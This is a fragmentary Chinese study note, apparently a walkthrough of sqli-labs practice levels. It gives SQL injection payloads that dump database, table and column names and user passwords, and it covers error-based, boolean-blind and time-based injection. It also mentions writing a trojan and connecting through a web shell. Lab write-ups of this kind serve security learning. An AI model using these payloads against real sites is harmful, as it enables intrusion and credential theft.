登入Windows命令行MySQL，方便查验注入命令 源码如下 查列数： 这里需要注意，使用联合查询爆出数据库名称的时候前面id值需要放空： ?id=' union select 1,group_concat( schema_name),3 from information_schema.schemata --+ ?id=' union select 1,group_concat( table_name),3 from information_schema.tables where table_schema='security' --+ ?id=' union select 1,group_concat( column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ 分别在2,3处显示username和password： ?id=' union select 1,group_concat( username),group_concat( password) from users --+ 通第一关类型一致，但是为数字型报错，不需要闭合 利用Firefox插件MaxHacKBar（f12）中的报错语句 需要了解这两个函数，可以调出数据库的安装路径，以便通过菜刀连接远程服务器 钥匙我们需要写入木马文件，需要先判断是否具有写权限： ?id=1' and (select count(*)from mysql.user)>0 --+ 无法写入，理论上都是正确的。。。先走一步看一步，不要在这儿浪费太多的时间 这一关是基于布尔的盲注，从报错的结果返回来判断我们的猜测是否正确 substr(str, pos, len) ：将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的，不是数组的0开始 mid(str,pos,len):跟上面的一样，截取字符串 ascii(str) ：返回字符串str的最左面字符的ASCII代码值。 if(a,b,c) :a为条件，a为true，返回b，否则返回c，如if(1>2,1,0),返回0 security第一个字母就是 s （这里也区分大小写哦） ?id=1' and if(ascii(substr((select database()),1,1))>114,1,0) --+ 通过sleep()函数，通过web界面的返回时间长短判断是否被执行 在时间盲注上的sleep韩束位置选择，最好可以再是错次数交多处进行卡顿，这样可以大大节约测试时间 正在卡顿中....